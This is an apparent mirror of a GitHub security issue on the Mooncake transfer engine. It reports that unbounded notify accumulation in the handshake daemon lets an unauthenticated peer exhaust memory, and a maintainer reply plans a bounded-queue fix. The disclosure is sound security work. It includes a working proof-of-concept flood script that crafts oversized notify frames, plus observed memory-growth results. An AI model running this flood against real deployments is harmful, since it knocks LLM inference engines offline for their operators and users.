[GH-ISSUE #4445] [Bug]: Unbounded notify accumulation in Mooncake handshake daemon enables remote memory exhaustion #1123

New issue

Closed

opened 2026-10-29 21:23:07 +00:00 by bsakaguchi · 2 comments

bsakaguchi commented

2026-10-29 21:23:07 +00:00

Owner

Originally created by @yyymk on GitHub (Oct 1, 2026).
Original GitHub issue: https://github.com/kvcache-ai/Mooncake/issues/4445

Bug Report

Summary

The P2P handshake daemon of mooncake-transfer-engine appends every received notify message to an in-memory vector with no cap, no expiry, and no per-peer quota. Any host that can reach the handshake RPC port grows the hosting engine process's memory without limit by sending notify frames, roughly one byte of RSS per byte sent. Runtime-confirmed on 0.3.13.post1 (latest release). No fix available. Suggested severity: Medium, CVSS 6.5.

Details

TransferMetadata::receivePeerNotify (src/transfer_metadata.cpp) is the handler for notify frames (handshake message type 2). Its entire body under the spinlock is:

notifys.push_back(peer_notify);

There is no limit on notifys.size(), no expiry, and no per-peer accounting. The message body is attacker-controlled up to the handshake message limit (default 1 MB via MC_HANDSHAKE_MAX_LENGTH).

Entries are drained only when the application calls getNotifies(). The vLLM Mooncake connector never calls it; even an application that drains the vector periodically faces no rate limit, so the push rate is entirely attacker-chosen.

The handshake daemon accepts these frames from any peer without authentication; the notify name field is also free-form, so entries never collide or deduplicate.

PoC

Environment: Linux x86_64, Python 3.11, pip install mooncake-transfer-engine==0.3.13.post1. Victim (a plain engine that never calls get_notifies, like the vLLM connector):

# victim.py
import time
from mooncake.engine import TransferEngine

HOST = "192.168.105.123"  # victim host IP
te = TransferEngine()
assert te.initialize(HOST, "P2PHANDSHAKE", "tcp", "") == 0
print("rpc_port =", te.get_rpc_port(), flush=True)
time.sleep(7200)

Run with GLOG_logtostderr=1 MC_FORCE_TCP=1 python victim.py and watch its RSS: watch -n 1 'grep VmRSS /proc/$(pgrep -f victim.py)/status'.

Attacker:

# flood.py
import json, socket, struct

HOST, RPC_PORT = "192.168.105.123", 15321  # rpc_port printed by victim
body = json.dumps({"name": "atk", "notify_msg": "X" * 900_000}).encode()
frame = struct.pack("<Q", 1 + len(body)) + b"\x02" + body   # type 2 = Notify

for i in range(3000):
    s = socket.create_connection((HOST, RPC_PORT))
    s.sendall(frame)
    s.recv(64)  # daemon replies {"name":"","notify_msg":"success"} to every frame
    s.close()

Observed on 0.3.13.post1: 2979 frames were accepted in about 20 seconds and the victim RSS grew from 50 MB to 2672 MB, a 1:1 ratio with the sent payload bytes. The RSS then stayed flat at the peak during 5 idle minutes - nothing is reclaimed. Expected secure behavior: a bounded queue with per-peer quotas and rejection (or eviction) once the limit is reached.

Impact

This is an uncontrolled-resource-consumption issue (CWE-400). The attacker needs no credentials, only reachability of the handshake RPC port (documented 15000-17000 range, published in the mooncake/rpc_meta/* metadata).

At the measured rate the hosting engine process (sglang scheduler or vLLM EngineCore in real deployments) reaches multi-GB RSS in tens of seconds and is killed by the OOM killer shortly after, taking the whole engine instance down. The attack is a plain socket loop with no rate requirement, and memory is never returned, so a single short burst has a permanent effect until the process restarts. Availability-only impact; no confidentiality or integrity effect was observed. Suggested CVSS:3.1 vector AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (6.5). Affected: mooncake-transfer-engine <= 0.3.13.post1, no patched version yet.

Before submitting...

Ensure you searched for relevant issues and read the [documentation]

Originally created by @yyymk on GitHub (Oct 1, 2026). Original GitHub issue: https://github.com/kvcache-ai/Mooncake/issues/4445 ### Bug Report ### Summary The P2P handshake daemon of mooncake-transfer-engine appends every received notify message to an in-memory vector with no cap, no expiry, and no per-peer quota. Any host that can reach the handshake RPC port grows the hosting engine process's memory without limit by sending notify frames, roughly one byte of RSS per byte sent. Runtime-confirmed on 0.3.13.post1 (latest release). No fix available. Suggested severity: Medium, CVSS 6.5. ### Details `TransferMetadata::receivePeerNotify` (src/transfer_metadata.cpp) is the handler for notify frames (handshake message type 2). Its entire body under the spinlock is: ```cpp notifys.push_back(peer_notify); ``` There is no limit on `notifys.size()`, no expiry, and no per-peer accounting. The message body is attacker-controlled up to the handshake message limit (default 1 MB via `MC_HANDSHAKE_MAX_LENGTH`). Entries are drained only when the application calls `getNotifies()`. The vLLM Mooncake connector never calls it; even an application that drains the vector periodically faces no rate limit, so the push rate is entirely attacker-chosen. The handshake daemon accepts these frames from any peer without authentication; the notify `name` field is also free-form, so entries never collide or deduplicate. ### PoC Environment: Linux x86_64, Python 3.11, `pip install mooncake-transfer-engine==0.3.13.post1`. Victim (a plain engine that never calls `get_notifies`, like the vLLM connector): ```python # victim.py import time from mooncake.engine import TransferEngine HOST = "192.168.105.123" # victim host IP te = TransferEngine() assert te.initialize(HOST, "P2PHANDSHAKE", "tcp", "") == 0 print("rpc_port =", te.get_rpc_port(), flush=True) time.sleep(7200) ``` Run with `GLOG_logtostderr=1 MC_FORCE_TCP=1 python victim.py` and watch its RSS: `watch -n 1 'grep VmRSS /proc/$(pgrep -f victim.py)/status'`. Attacker: ```python # flood.py import json, socket, struct HOST, RPC_PORT = "192.168.105.123", 15321 # rpc_port printed by victim body = json.dumps({"name": "atk", "notify_msg": "X" * 900_000}).encode() frame = struct.pack("<Q", 1 + len(body)) + b"\x02" + body # type 2 = Notify for i in range(3000): s = socket.create_connection((HOST, RPC_PORT)) s.sendall(frame) s.recv(64) # daemon replies {"name":"","notify_msg":"success"} to every frame s.close() ``` Observed on 0.3.13.post1: 2979 frames were accepted in about 20 seconds and the victim RSS grew from 50 MB to 2672 MB, a 1:1 ratio with the sent payload bytes. The RSS then stayed flat at the peak during 5 idle minutes - nothing is reclaimed. Expected secure behavior: a bounded queue with per-peer quotas and rejection (or eviction) once the limit is reached. ### Impact This is an uncontrolled-resource-consumption issue (CWE-400). The attacker needs no credentials, only reachability of the handshake RPC port (documented 15000-17000 range, published in the `mooncake/rpc_meta/*` metadata). At the measured rate the hosting engine process (sglang scheduler or vLLM EngineCore in real deployments) reaches multi-GB RSS in tens of seconds and is killed by the OOM killer shortly after, taking the whole engine instance down. The attack is a plain socket loop with no rate requirement, and memory is never returned, so a single short burst has a permanent effect until the process restarts. Availability-only impact; no confidentiality or integrity effect was observed. Suggested CVSS:3.1 vector AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (6.5). Affected: mooncake-transfer-engine <= 0.3.13.post1, no patched version yet. ### Before submitting... - [x] Ensure you searched for relevant issues and read the [documentation]

bsakaguchi

2026-10-29 21:23:07 +00:00

closed this issue
added the
bug
label

bsakaguchi commented

2026-10-29 21:23:08 +00:00

Author

Owner

@github-actions[bot] commented on GitHub (Oct 1, 2026):

Thanks for opening this issue, @yyymk!

Field	Value
Issue	#4445
GitHub user ID	`133664083`
Reporter	@yyymk

A maintainer will triage this when possible. To help us respond faster, please include:

Mooncake version or commit SHA
Environment (OS, CUDA/driver, RDMA stack if relevant)
Steps to reproduce and expected vs. actual behavior

Useful links: Documentation · Contributing guide

This message was posted automatically by the issue bot.

@github-actions[bot] commented on GitHub (Oct 1, 2026): Thanks for opening this issue, @yyymk! | Field | Value | |-------|-------| | **Issue** | #4445 | | **GitHub user ID** | `133664083` | | **Reporter** | @yyymk | A maintainer will triage this when possible. To help us respond faster, please include: - Mooncake version or commit SHA - Environment (OS, CUDA/driver, RDMA stack if relevant) - Steps to reproduce and expected vs. actual behavior Useful links: [Documentation](https://kvcache-ai.github.io/Mooncake/) · [Contributing guide](https://github.com/kvcache-ai/Mooncake/blob/main/CONTRIBUTING.md) > This message was posted automatically by the issue bot.

bsakaguchi commented

2026-10-29 21:23:08 +00:00

Author

Owner

@he-yufeng commented on GitHub (Oct 2, 2026):

Confirmed on current main: receivePeerNotify still does a bare notifys.push_back(peer_notify) under notify_lock_ with no bound (transfer_metadata.cpp:405), and every frame body is attacker-controlled up to the 1 MB handshake limit.

I am preparing a fix: a bounded notify queue with an env-configurable entry cap (MC_HANDSHAKE_MAX_NOTIFY_ENTRIES, same loading pattern as MC_HANDSHAKE_MAX_LENGTH), evicting the oldest entries with a warning once the cap is hit, so a flood degrades pending notifications instead of growing RSS forever. Will link the PR here.

@he-yufeng commented on GitHub (Oct 2, 2026): Confirmed on current main: `receivePeerNotify` still does a bare `notifys.push_back(peer_notify)` under `notify_lock_` with no bound (transfer_metadata.cpp:405), and every frame body is attacker-controlled up to the 1 MB handshake limit. I am preparing a fix: a bounded notify queue with an env-configurable entry cap (`MC_HANDSHAKE_MAX_NOTIFY_ENTRIES`, same loading pattern as `MC_HANDSHAKE_MAX_LENGTH`), evicting the oldest entries with a warning once the cap is hit, so a flood degrades pending notifications instead of growing RSS forever. Will link the PR here.